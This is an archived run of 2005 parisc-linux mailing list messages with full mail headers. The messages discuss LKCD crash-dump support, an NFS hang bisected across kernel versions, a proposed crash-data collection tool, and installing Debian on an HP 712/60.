Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest palinux crash
Date: Thu, 21 Jul 2005 07:48:01 -0500
Lines: 41
Approved: news@gmane.org
Message-ID: <200507210748.01467.mszick@morethan.org>
References: <20050720122227.GK10156@parcelfarce.linux.theplanet.co.uk>
	<20050721043626.GY30182@systemhalted.org>
	<20050721123045.GA27330@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623859 15746 80.91.229.3 (22 Nov 2014 02:37:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jul 2005 12:48:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx015) with SMTP; 21 Jul 2005 14:48:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 096F27D741;
	Thu, 21 Jul 2005 06:48:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08481-08; Thu, 21 Jul 2005 06:48:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 926B27D73D;
	Thu, 21 Jul 2005 06:48:11 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2D5AE7D73A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 06:48:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08481-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 06:48:04 -0600 (MDT)
Original-Received: from mail26.sea5.speakeasy.net (mail26.sea5.speakeasy.net
	[69.17.117.28])
	by free.linux.hp.com (Postfix) with ESMTP id 7C9787D730
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 06:48:04 -0600 (MDT)
Original-Received: (qmail 30757 invoked from network); 21 Jul 2005 12:48:03 -0000
Original-Received: from tx-69-68-115-230.dyn.sprint-hsd.net
	(mszick@morethan.org@[69.68.115.230])
	(envelope-sender <mszick@morethan.org>)
	by mail26.sea5.speakeasy.net (qmail-ldap-1.03) with RC4-MD5 encrypted
	SMTP
	for <parisc-linux@lists.parisc-linux.org>; 21 Jul 2005 12:48:03 -0000
User-Agent: KMail/1.7.2
In-Reply-To: <20050721123045.GA27330@colo.lackof.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 2PytYqNQeSEkfb6WZHQhaXN1IGRvb8BM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22954

On Thu July 21 2005 07:30, Grant Grundler wrote:
> On Thu, Jul 21, 2005 at 12:36:27AM -0400, Carlos O'Donell wrote:
> > We need better tools for this... I wonder if we still have lkcd support
> > for hppa.
> 
> I have the "most recent" (2.4.20) patch from Bruno Vidal 
> and he had it working on most of the platforms (32 and 64-bit).
> It didn't get included becuase of (my) lack of time to integrate
> and the fact that it wasn't popular at the time. I'm really
> happy to see that's changed.
> 
Grant,
It is on sourceforge.net
http://sourceforge.net/project/showfiles.php?group_id=2726&package_id=108740

See: lkcd.sourceforge.net

Mike
> Bruno, is that posted someplace publicly or can I post it?
> (I'm hoping Bruno is still subscribed to p-l)
> 
> > If we had lkcd support would you be willing to run a modified kernel on
> > parisc-linux?
> 
> I would.
> In fact, I'd change all the default config files to include it.
> 
> thanks,
> grant
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Machine hanging during high-traffic NFS
Date: Thu, 21 Jul 2005 06:36:07 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20050721123607.GA27978@colo.lackof.org>
References: <42DD6A7F.8090706@excelcia.org>
	<20050720010425.GC24060@roadwarrior.mcmartin.ca>
	<42DDF65E.7010605@excelcia.org>
	<20050720164058.GA3681@colo.lackof.org>
	<42DF51D4.3010106@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623860 15749 80.91.229.3 (22 Nov 2014 02:37:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kurt Fitzner <kfitzner@excelcia.org>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jul 2005 12:51:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx038) with SMTP; 21 Jul 2005 14:51:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5ACB97D727;
	Thu, 21 Jul 2005 06:31:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07936-08; Thu, 21 Jul 2005 06:31:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9D5417D72A;
	Thu, 21 Jul 2005 06:31:23 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 094387D722
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 06:31:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08029-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 06:31:20 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 7B7F57D6D3
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 06:31:20 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 8120C298013;
	Thu, 21 Jul 2005 06:36:07 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29179-06; Thu, 21 Jul 2005 06:36:07 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 190ED298010; Thu, 21 Jul 2005 06:36:07 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <42DF51D4.3010106@excelcia.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: O/+tYvpkeSEkVL6WZHQhaXN1IGRvb8A5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22955

On Thu, Jul 21, 2005 at 01:42:12AM -0600, Kurt Fitzner wrote:
> I 'downgraded' to 2.6.8.1-pa11 as Mr. Anglin suggested and I am not able
> to reproduce the hang.  Would it be helpful if I were to identify the
> exact kernel version where the hang first begins to occur?

Definitely. Be warned that this can be very time consuming.
If you can narrow the window to a major kernel release,
that would already be very helpful. The exact -paX version
would of course be perfect.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Bug report data collection tool
Date: Thu, 21 Jul 2005 06:58:53 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <20050721125853.GC27330@colo.lackof.org>
References: <42DF53E8.5010904@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623860 15755 80.91.229.3 (22 Nov 2014 02:37:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kurt Fitzner <kfitzner@excelcia.org>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jul 2005 12:54:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx013) with SMTP; 21 Jul 2005 14:54:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 212E17D72A;
	Thu, 21 Jul 2005 06:54:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08732-07; Thu, 21 Jul 2005 06:54:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1C28D7D72F;
	Thu, 21 Jul 2005 06:54:10 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 28CEB7D727
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 06:54:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08732-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 06:54:06 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 9A7467D725
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 06:54:06 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id A12E1298013;
	Thu, 21 Jul 2005 06:58:53 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30586-09; Thu, 21 Jul 2005 06:58:53 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 49C77298010; Thu, 21 Jul 2005 06:58:53 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <42DF53E8.5010904@excelcia.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: of+tYq59eSEkf76WZHQhaXN1IGRvb4D6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22956

On Thu, Jul 21, 2005 at 01:51:04AM -0600, Kurt Fitzner wrote:
> I was thinking that perhaps it would be useful to have a tool to help
> collate information after a hang/crash.  Something you would run on the
> next boot.
> 
> I wasn't able to tell from a cursory glance at pdc_stable.c, but if the
> driver supports it then perhaps the tool could read HPMC/TOC data post
> crash from nvram (rather than having to write out or use a serial
> console to capture 'ser pim' data).

We thought of that before but there are a few issues:
1) stable storage access is only via PDC calls.
2) format of PIM data is platform dependent - ie every model machine
   could have a different format. In practice, ISTR the format usually
   is the same for a given processor model and not each model of machine.

>  It could then cross reference the
> crash address with the System.map, gather pre-crash data from the logs
> and a machine profile from /proc.
> 
> If something like this would be useful, I could do with having a project
> to help me learn the ropes.

Lack of documentation will make this a fairly hard project. :^(

sorry,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian hppa request install
Date: Thu, 21 Jul 2005 07:00:31 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20050721130031.GD27330@colo.lackof.org>
References: <a015f9a00507210135b8b9071@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623860 15758 80.91.229.3 (22 Nov 2014 02:37:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Karthik <molecularbiophysics@gmail.com>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jul 2005 12:55:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx047) with SMTP; 21 Jul 2005 14:55:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6C1247D73A;
	Thu, 21 Jul 2005 06:55:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08982-04; Thu, 21 Jul 2005 06:55:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D354E7D744;
	Thu, 21 Jul 2005 06:55:48 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D51E7D72A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 06:55:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08924-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 06:55:45 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id F15097D727
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 06:55:44 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id EDFEF298013;
	Thu, 21 Jul 2005 07:00:31 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30975-06; Thu, 21 Jul 2005 07:00:31 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id AA5C9298010; Thu, 21 Jul 2005 07:00:31 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <a015f9a00507210135b8b9071@mail.gmail.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Dv6tYhF2eSEkXb6WZHQhaXN1IGRvbwB0
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22957

On Thu, Jul 21, 2005 at 10:35:50AM +0200, Karthik wrote:
> Hi Gurus,
> 
> I plan to install Debian hppa in 712/60. I hope to install the basic
> packages with CD1 and later install other packages with "apt-get".
...
> 2. Is 96MB memory OK for debian installer to work?

yes - but 712/60 isn't exactly blazing fast.
But I do expect it to be fairly stable.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Bug report data collection tool
Date: Thu, 21 Jul 2005 10:22:31 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <20050721142230.GZ30182@systemhalted.org>
References: <42DF53E8.5010904@excelcia.org>
	<20050721125853.GC27330@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623861 15761 80.91.229.3 (22 Nov 2014 02:37:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jul 2005 14:23:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx030) with SMTP; 21 Jul 2005 16:23:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3A0AD7D742;
	Thu, 21 Jul 2005 08:22:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09489-08; Thu, 21 Jul 2005 08:22:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 281427D721;
	Thu, 21 Jul 2005 08:22:54 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CCFA67D716
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 08:22:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09490-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 08:22:50 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 4B0167D6FA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jul 2005 08:22:50 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DvbwW-00074a-00; Thu, 21 Jul 2005 10:22:32 -0400
Content-Disposition: inline
In-Reply-To: <20050721125853.GC27330@colo.lackof.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (9% Sync Ratio [=.........])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ksqtYhwheSEkbL6WZHQhaXN1IGRvb0Dm
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22958

On Thu, Jul 21, 2005 at 06:58:53AM -0600, Grant Grundler wrote:
> On Thu, Jul 21, 2005 at 01:51:04AM -0600, Kurt Fitzner wrote:
> > I was thinking that perhaps it would be useful to have a tool to help
> > collate information after a hang/crash.  Something you would run on the
> > next boot.
> > 
> > I wasn't able to tell from a cursory glance at pdc_stable.c, but if the
> > driver supports it then perhaps the tool could read HPMC/TOC data post
> > crash from nvram (rather than having to write out or use a serial
> > console to capture 'ser pim' data).
> 
> We thought of that before but there are a few issues:
> 1) stable storage access is only via PDC calls.
> 2) format of PIM data is platform dependent - ie every model machine
>    could have a different format. In practice, ISTR the format usually
>    is the same for a given processor model and not each model of machine.

Don't we already have 1) thanks to lkcd?
And as far as 2) can't you just do that through hte PDC too?

> >  It could then cross reference the
> > crash address with the System.map, gather pre-crash data from the logs
> > and a machine profile from /proc.
> > 
> > If something like this would be useful, I could do with having a project
> > to help me learn the ropes.
> 
> Lack of documentation will make this a fairly hard project. :^(

Really?

This sounds like kexec + lkcd.

c.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Machine hanging during high-traffic NFS
Date: Thu, 21 Jul 2005 12:04:13 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <20050721160413.GA1482@roadwarrior.mcmartin.ca>
References: <42DD6A7F.8090706@excelcia.org>
	<20050720010425.GC24060@roadwarrior.mcmartin.ca>
	<42DDF65E.7010605@excelcia.org>
	<20050720164058.GA3681@colo.lackof.org>
	<42DF51D4.3010106@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623861 15763 80.91.229.3 (22 Nov 2014 02:37:41 GMT)
